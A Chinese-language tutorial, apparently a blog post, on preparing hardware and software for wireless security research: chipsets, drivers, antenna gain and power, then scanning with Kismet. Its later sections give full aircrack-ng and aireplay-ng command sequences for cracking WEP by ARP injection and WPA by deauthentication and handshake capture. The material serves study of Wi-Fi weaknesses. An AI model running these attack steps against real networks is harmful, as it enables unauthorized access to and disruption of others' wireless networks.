在进行实际的无线安全攻击、研究之前,我们需要准备一些硬件设备、包括与之配套的软件。基本上来说,无线黑客技术需要涉及到以下几个组件
1. 底层芯片组
不论是USB网卡、PCI网卡、还是PCMCIA内置网卡,它们的核心都是"芯片组",即我们现在常说的卡皇、无线网卡的不同牌子,本质上应该讨论它们内部使用的芯片组,我们要关注的电气性能也是针对芯片组的。现在常见的WLAN芯片厂商有
1) Atheros(钰硕): https://wikidevi.com/wiki/Atheros
2) Broadcom(博通): http://zh-cn.broadcom.com/
3) Intel Pro Wireless、Intel Wifi Link(Centrino):
http://www.intel.com/support/wireless/wlan/sb/CS-010623.htm
4) Ralink(雷凌): http://www.ralinktech.com/en/
5) Realtek(瑞昱): http://www.realtek.com.tw/
2. 芯片驱动程序
芯片是硬件设备,Ring3的应用程序需要通过驱动程序来和芯片的指定端口通信,从而使用芯片的物理特性(发送、接收数据帧),Linux下的无线驱动程序经过了一段"发展期",最终以
"mac80211驱动框架"作为最终的"主树结构"
http://wireless.kernel.org/en/developers/Documentation/mac80211
mac80211是一个无线驱动的框架,它提供了大量的API、规范,在这个框架下编写驱动程序能和其他的驱动具有良好的共享性、兼容性(类似与windows下的NDIS框架的作用)
一般来说,各家芯片厂商都会提供配套的驱动程序、并提供更新支持
1) Atheros(AR系列)
http://www.qca.qualcomm.com/resources/driverdownloads/
http://wireless.kernel.org/en/users/Drivers/Atheros
2) Broadcom
http://zh-cn.broadcom.com/support/802.11/linux_sta.php
http://wiki.centos.org/zh/HowTos/Laptops/Wireless/Broadcom
3) Intel
http://wireless.kernel.org/en/users/Drivers/iwlwifi
4) Ralink(RT系类)
http://www.mediatek.com/en/downloads/
淘宝上卖的很多卡皇的内置芯片就是这种RT型号
5) Realtek(RTL系列)
http://www.realtek.com.tw/DOWNLOADS/downloadsView.aspx?Langid=1&PNid=14&PFid=7&Level=5&Conn=4&DownTypeID=3&GetDown=false
需要注意的,我们在选择驱动的时候需要关注一下当前驱动是否支持USB(因为现在大多数人包括我自己都是使用外置网卡(卡皇)进行实验的)
3. 应用程序编程接口(API)(不是必须)
本质上来说,我们可以直接编写ring3代码,调用驱动的编程接口来实现我们想要的功能。但是从实现难度、开发成本上来讲,还是太过麻烦了。为此,开源社区开发了一些封装良好的、功能完善的
API库,讲对驱动的调用作了一层封装,使上层应用能更方便、快速地进行WLAN软件的开发
1) OSDEP
Aircrack-ng就是基于OSDEP的API进行开发的
http://freecode.com/projects/aircrack-ng
2) LORCON2
http://blog.opensecurITyresearch.com/2012/05/installing-lorcon2-on-backtrack-5-r2.html
3) libpcap
Libpcap提供了系统独立的用户级别网络数据包捕获接口,并充分考虑到应用程序的可移植性
http://sourceforge.net/projects/libpcap/
4. 无线安全软件工具
到了这一层就是我们在Linux下常见的各种类型的工具软件
它们主要完成如下几个功能
1) 使用"监控模式"捕获指定"信道"上的无线数据报,达到嗅探的目的
2) 数据包注入,即重放任意数据的数据帧,主要有如下目的
2.1) 造成DDOS效果,使流量增加,加速WEP攻击
2.2) 注入解除认证(deauthentication)数据包,使用该数据包可以把用户和AP断开,从而获取WPA的4次握手数据包,然后可进行离线字典、或彩虹表密码破解
3) 主动发送"探测数据包",进行主动的服务(SSID)发现
4) 信号干扰
常用的无线安全软件有:
1) Aircack-ng(suit)
http://www.aircrack-ng.org/
2) MDK3
http://files.cnblogs.com/LittleHann/Mdk3.rar
http://hack-it.org/index.php?title=Mdk3
3) Airbase
https://www.airbasemakeup.com/
4) AirPWN
http://airpwn.sourceforge.net/
5) Kismet
http://www.kismetwireless.net/
需要注意的一点是:
本文讨论的驱动、软件都是在Linux平台下的,我也尝试过在windows下基于winpcap进行编程、嗅探攻击的使用,结果发现问题颇多(各种蛋疼),无法顺利地开展研究工作,索性完全放弃windows下的尝试,改为在Linux下进行,所以,本文所涉及到的驱动、扫描器都是在Linux下使用的,后面将不再声明
我们前面说过,不同型号的网卡的"主要差别"在于内置的芯片组,但是,一个无线网卡的好坏除了和上面说的芯片组、驱动有关,还和它自身的一些物理、电气特性有关,下面我们来一起逐一学习一下。
一般来说,综合评价一个网卡的性能,有如下几个维度
1. 芯片组型号
2. 发射(TX)功率
3. 天线的支持(信号增益、类型)
4. 灵敏度
5. 频率范围
6. 工作信道(是否支持跳频)
7. 支持的模式
8. 是否支持USB接口
9. 价格
0×1: 芯片组型号
就我个人经验来看,目前主流的这些芯片厂商的芯片性能都没有什么太大的差别(至少对于中低端网卡来说没有)。我在实验的时候选择的是"RT3070L"芯片,在BT5下也默认对它提供了驱动支持,所以前期准备这块比较方便。一般来说,当网卡的价格到达数千级别,芯片的型号的差异可能会带来性能的差别。
在芯片选型的时候,我们要关注的是这个芯片的驱动支持情况,以下命令可以帮助我们更好地完成这个目标
airdriver-ng supported
airdriver-ng details 序号
airdriver-ng instalLED
0×2: 发射(TX)功率
发射功率是我们需要重点关注的一个维度,当我们在wireless模式下需要发送数据包的时候,协议栈会将我们的数据包层层封装,最终封装成"数据帧",最终通过无线网卡转换为射频信号(一种电磁脉冲),通过馈线(电缆)输送到天线,由天线以电磁波形式辐射出去(如果你是插网线就是通过网口发送出去)。电磁波在介质(空气)中传播过程中会不断衰减,这也是为什么我们不能接收到离我们很远的地方的Wi-Fi信号的原因,电磁波到达接收地点后,由天线接收下来(仅仅接收很小很小一部分功率,因为电磁波是向四周同时扩散的),并通过馈线送到目标无线接收设备中,因此在无线网络的工程中,计算发射装置的发射功率与天线的辐射能力非常重要。
Tx是发射(Transmits)的简称。无线电波的发射功率是指在给定频段范围内的能量,通常有两种衡量标准:
1. 功率(W): 单位是瓦(Watts)的线性水准。例如我自己实验用的无线网卡的发射功率为0.063W,或者说63mW2、增益(dBm 或者叫分贝): 63mW换算成增益(dBm)就是18dBm
功率单位mW(豪瓦)和dBm(分贝)的换算
1. dBm = 10 x log [功率mW]2. mW = 10 [增益dBm / 10dBm]
在"小功率"系统中(例如无线局域网络设备)每个dB都非常重要,特别要记住"3dB法则",即:
1) 增加3dB: 增加一倍功率
2) 降低3dB: 降低一半功率
功率每增加一倍,电平值增加 3dBm。对于AP、或本地网卡的信号强度的测量,有很多工具可以完成
1. 频谱分析仪(专业设备): 淘宝上很多,几千块一套
2. Inssider(下图)
0×3: 天线的支持(信号增益、类型)
天线对于一个无线网卡的性能来说是至关重要的,虽然常常它们看起来并不是那么重要,如果说有线宽带之间进行连接的介质是电缆、或者光纤,那么对于无线网络来说,空气就是它的传输介质,而天线就相当于NIC网卡和空气介质的"连接器"(作用类似于水晶头)
在无线系统中,天线被用来把电流波转换成电磁波,在转换过程中还可以对发射和接收的信号进行"放大",这种能量放大的度量成为"增益(Gain)"。天线增益的度量单位为"dBi"。
由于无线系统中的电磁波能量是由发射设备的发射能量和天线的放大叠加作用产生,因此度量发射能量最好同一度量-增益(dB),例如,发射设备的功率为100mW(20dBm),天线的增益为10dBi,则发射总能量:
发射功率(dBm) + 天线增益(dBi) = 20dBm + 10dBi = 30dBm
需要注意的是,我们对于"天线"这个词可能会有先入为主的概念,像小时候玩的收音机上面看到的那种金属棒,其实,从物理学的角度来看,"天线"应该是一个抽象的概念,它指一切可以汇聚、增益、并发送电磁信号的设备,我们可以这么理解:
天线通过聚集于网卡已经产生的信号来工作。网卡产生一个信号,形状类似于一个三维球体。全向天线的工作基本上是接收这种球体并"压扁"更多圆圈,这样在水平面的信号传的更远,但垂直方向上没这么远。更重要的是,全向天线的增益越高,圆形图就"越扁平"。定向天线以同样的方式工作,牺牲一个方向的信号,以获取另一个方向的信号
天线可以大致分为两种类型:
1. 全向天线(Omnidirectional Antenna)
在所有方向上扩大范围的天线
1) 基站天线: 9~12dBi的增益
通常有白色PVC管,长30或48英寸。天线越长,增益越高
2) 磁性底座天线(magnetic mount antennas): 5~9dBi的增益
战争驾驶(wardriving)中效果最好
2. 定向天线
向一个指定方向扩大范围的天线
1) 波导天线(cantennas)
http://www.antenna-theory.com/cn/antennas/aperture/slottedWaveguide.php
2) 引向发射天线: 波导天线的提升
3) 板状天线(panel antenna)
http://baike.baidu.com/view/8695946.htm
主要用于室外信号覆盖。无论是GSM 还是CDMA, 板状天线是用得最为普遍的一类极为重要的基站天线
4) 八木天线(yagi antenna)
http://zh.wikipedia.org/wiki/%E5%85%AB%E6%9C%A8%E5%A4%A9%E7%BA%BF
外形十分酷炫,淘宝上有很多可以买
5) 抛物面天线(parabolic antenna)
http://baike.baidu.com/view/880872.htm
提供最大的增益、最窄的波束。由抛物面反射器和位于其焦点处的馈源组成的面状天线叫抛物面天线。我们在电视上看到的雷达的那个圆盘就是这种天线
0×4: 灵敏度
灵敏度同样是一个我们需要关注的维度,我们在使用电流表的时候都会听说过一个概念,这个设备的灵敏度是多少,表明这个设备能"感知"到最小的电流是多少,对于天线来说也一样,灵敏度决定了我们的无线网卡能够接收到多么微弱的信号,即能收到多远的AP发来的数据包,这在进行黑客攻击的时候很重要,因为这意味着你能够在原理目标更远的距离发起无线攻击。
我们通常用dBm(分贝)测量灵敏度,负数越小越好(即-90表明比-80更灵敏),大家可以画一个Log函数图,就会发现知道原理了(灵敏度功率越小、负值越大、感知灵敏度越好),在天文学名词库中可以找到关于"天线灵敏度"的定义
http://www.lamost.org/astrodict/dict_details.php?U=8078
0×4: 频率范围
这里的频率指的是无线网卡的工作频段,IEEE802.11下的无线信号工作在
1. 2.4GHz频段
2. 4.9/5.8 GHz频段
频率本身只是表示电磁波的"每秒震动次数",并没有其他的意义,2.4和4.9/5.8GHz的传输速度都是一样的,并且它们互相不干扰。注意,因为互相不干扰,所以意味着你的设备如果是2.4GHz工作模式的,则不能接收工作在5GHz下的数据包,同样,市场主流卖的无线网卡、卡皇都是2.4GHz的,而5GHz的设备国外的Shop上很多,但价格相对较贵。所以从某种程度上来说,将工作频率切换到5GHz是一种对抗无线嗅探攻击的手段
0×5: 工作信道(是否支持跳频)
Wi-Fi总共有14个信道(IEEE的标准,各个国家的具体标准稍有不同)
1. IEEE 802.11b/g标准工作在2.4G频段,频率范围为2.400—2.4835GHz,共83.5M带宽
2. 划分为14个子信道
3. 每个子信道宽度为22MHz
4. 相邻信道的中心频点间隔5MHz
5. 相邻的多个信道存在频率重叠(如1信道与2、3、4、5信道有频率重叠)
6. 为了保证信道的不干扰性,整个频段内只有3个(1、6、11)互不干扰信道(注意下图中红色的半圆的中间对应的数字)
其他国家的信道划分
1. 中国: 2.4GHz-2.4835GHz(13信道)
2. 北美/FCC: 2.412-2.461GHz(11信道)
3. 欧洲/ETSI: 2.412-2.472GHz(13信道)
4. 日本/ARIB: 2.412-2.484GHz(14信道)
0×5: 支持的模式
目前主流的无线网卡的工作模式有:
11b: 1/2/5.5/11Mbps
11g: 6/9/12/18/24/36/48/54Mbps
11n: 最高可达150Mbps
在这篇文章的开头,列举目前802.11家族的工作模式
http://www.cnblogs.com/LittleHann/p/3700357.html
在网卡选型的时候,看清楚工作模式很重要,因为在和AP进行连接交互的时候,会有一个工作模式的协商过程:
只有客户端和AP都支持某个工作模式,双方才能继续进行连接。
这很像SSL、TLS初始认证的时候会进行加密算法的协商过程
0×6: 是否支持USB接口
无线网卡是否有外设的USB接口
0×7: 价格
关于无线网卡的选型,可以参考下面的链接
网卡性能对比: http://wireless.kernel.org/en/users/Devices
二、无线攻击第一步: "网络AP探测"、扫描器的使用
了解了无线网卡的选型之后,我们就作好了进行无线安全研究的基础准备工作,接下来要开始无线安全研究的第一步,也是我们面对的第一个问题,如何找到我们的攻击目标,即"网络AP探测(服务发现)",要完成这个目标,我们需要借助扫描器(Scanner).
我们前面说过,基本上来说,无线安全软件需要完成如下几个功能:
1) 使用"监控模式"捕获指定"信道"上的无线数据报,达到嗅探的目的
2) 数据包注入,即重放任意数据的数据帧,主要有如下目的
2.1) 造成DDOS效果,使流量增加,加速WEP攻击
2.2) 注入解除认证(deauthentication)数据包,使用该数据包可以把用户和AP断开,从而获取WPA的4次握手数据包,然后可进行离线字典、或彩虹表密码破解
3) 主动发送"探测数据包",进行主动的服务(SSID)发现
4) 信号干扰
接下来,我们逐一学习一下要完成这些目标会用到的软件、以及它们的原理
0×1: 数据包嗅探
数据包嗅探软件监视给定"信道"上数据包的无线信号,它自身不发送数据包。相反,它们使用监控模式(Monitor Mode)监听信道上的所有数据包。
把一个无线网卡设置为"监控模式"类似于把一个正常的有线以太网卡设置为混杂模式(Promiscuous Mode)。在这种情况下,可以看到所有走过"线缆"(或信道)的数据包。
然而,它们之间的关键的区别是:
1) 把有线网卡设置为混杂模式时,你所捕获到的数据包一定存在于当前信道中(同一个Hub局域网中)
2) 在无线网络的情况下,因为2.4GHz范围的波段频率是非授权的,它是可以共享访问的,这意味着使用同一个信道可以有多个重叠网络(频分复用)。监控模式下看到的数据包可能存在于多个信道中
3) 对于有线网卡来说,以太网卡的混杂模式是一个标准功能
4) 但是对于无线网卡的监控模式,则不能简单地假设其肯定有监控模式的功能
4.1) 网卡本身的芯片必须支持这种模式
4.2) 正在使用的驱动程序本身也必须支持监控模式
数据包嗅探扫描工具的原理
1) 将无线网卡置于监控模式
2) 扫描程序进入一个循环状态,不停地从网卡读取数据包、进行分析、同时更新用于界面
使用Kismet来进行无线嗅探
Kismet不仅是一个扫描工具,Kismet其实是一个802.11协议数据包捕获、分析的框架(Kismet捕获到的数据包可以转储下来,给其他的分析框架使用)。它由3个部分组成:
1. kismet_server
2. kismet_client
3. kismet(ELF): 一个可执行文件,它kismet进行典型配置
在BT5下输入Kismet,Kismet会自动检测合适的源网卡
点击菜单栏的"S"可以对AP进行排序,点击特定的SSID,可以查看详细信息:
0×2: 数据包注入
Google上有很多"WEP密码破解"、"WPA"、"WP2密码破解"、也有很多自动化工具(如wifite、fern-wifi-cracker),它们破解的原理就是数据包注入
使用Airodump-ng系列软件来进行无线数据包注入、密码破解
1. WEP
通过静默捕获IVS数据包,或主动注入ARP数据包(这是一种数据帧),加快当前信道中的流量来加速破解,最终的目的是捕获足够多的IVS数据包,从而利用RC4算法的缺陷来逆向出key
example:
ifconfig wlan1 up
airmon-ng start wlan1
airodump-ng mon0
airodump-ng --ivs -w longas -c 6 mon0
//这个时候理论上可以等待抓包抓到足够数量就可以了,但是为了加快抓包速度,可以采用arp注入的方式来加快抓包
//重新打开一个新的console,然后执行arp注入命令
aireplay-ng -3 -b 08:10:77:CF:C9:62 -h CC:AF:78:26:77:BD mon0
//抓包结束后,确保抓到了足够熟练的IVs包,开始破解
aircrack-ng longas-01.ivs
如果抓到的IVs包数量不够,会遇到破解失败,最好能抓到2W以上的包数量
2. WPA
通过主动注入Deanthentication/Disassociation数据包(它们属于管理帧,试图告诉AP某个客户端想断开连接,显然这并不是这个客户端的本意),来强制断开目标客户端和AP的Wi-Fi,连接,当目标试图和AP进行重连接的时候,黑客捕获握手4次包(Handshak Package),然后利用离线字典、或者彩虹表进行暴力破解
example:
ifconfig wlan0 up
airmon-ng start wlan0
airodump-ng mon0
//开始捕获无线数据包
airodump-ng --ivs -w longas -c 6 mon0
//另开一个console,进行Deauth攻击,为了捕获握手包
aireplay-ng -0 1 -a 08:10:77:CF:C9:62 -c CC:AF:78:26:77:BD mon0
//在右上角看到了 WPA handshake提示后,表示抓到了握手包,开始破解WPA-PSK
aircrack-ng -w /pentest/passwords/wordlists/test.lst longas-01.ivs
要注意的一点是,WEP中注入的是数据帧,而WPA破解中注入的是管理帧,关于IEEE802.11帧的格式,我在另一篇文章中总结了一下
http://www.cnblogs.com/LittleHann/p/3700357.html
0×3: 服务发现、主动发送探测数据包
为了在一定程度上对抗无线嗅探攻击,很多的无线网络AP采取了一些配置:
1. 开启隐藏模式(Hidden Mode)、或非广播模式(nonbroadcasting Mode)。这些网络在其"信标帧"数据包(一种管理帧)中并不包括SSID值(网络名称),它们也不回复广播类的探测请求
2. MAC地址过滤,只接收指定执行范围内的MAC地址的广播探测请求
这样造成的直接结果就是我们在"宽带连接列表"中看不到对应的SSID(WiFi名称)
针对这种防御手段,扫描器也采取了相应的技术来获得隐藏的SSID
1. 通过学习802.11的帧结构,我们知道802.11的管理帧是不需要授权的,所以,我们要做的就是把AP、或者给目标用户发送一个"解除关联数据帧(Disassociation Frame)",这样,目标用户就会和AP尝试进行"重新关联",这个管理帧会包含SSID。
这同时也是WPA破解的基本条件,这本质上属于协议上的漏洞,IEEE协会似乎已经开始着手修补,但我目前还没有看到有新版本的协议格式发布
2. 除了在Beacon管理帧有有SSID,在普通的数据帧、控制数据发送的控制帧中同样会包含SSID(明文),可以通过捕获这类数据帧来获取SSID,并加入UI的显示列表
3. 后记
无线的安全研究有蛮多方向的,Google上比较多的文章是密码破解、工具使用方向的,讲的都很精彩,除此之外,个人觉得还可以和传统的内网安全问题结合起来,比如说:
1. 伪AP,流量劫持: 能达到和ARP投毒相似的效果
2. MIT中间人攻击
3. 基于中间人攻击的SSL明文窃取
相关学习资料:
http://www.cnblogs.com/LittleHann/p/3700357.html
http://www.anywlan.com/
http://radiowar.diandian.com/
http://wireless.kernel.org/en/developers
http://wireless.kernel.org/en/developers/Documentation/mac80211
http://www.ayxsj.com/pdf/mw&dbm.pdf
http://www.antenna-theory.com/cn/basics/main.php
http://zh.wikipedia.org/wiki/%E5%A4%A9%E7%BA%BF
http://www.antenna-theory.com/cn/antennas/aperture/slottedWaveguide.php
http://www.360doc.com/content/14/0314/20/5896561_360631387.shtml
http://zh.wikipedia.org/wiki/WLAN%E4%BF%A1%E9%81%93%E5%88%97%E8%A1%A8
http://publish.it168.com/2005/0913/20050913020801.shtml
http://blog.csdn.net/myarrow/article/details/7930131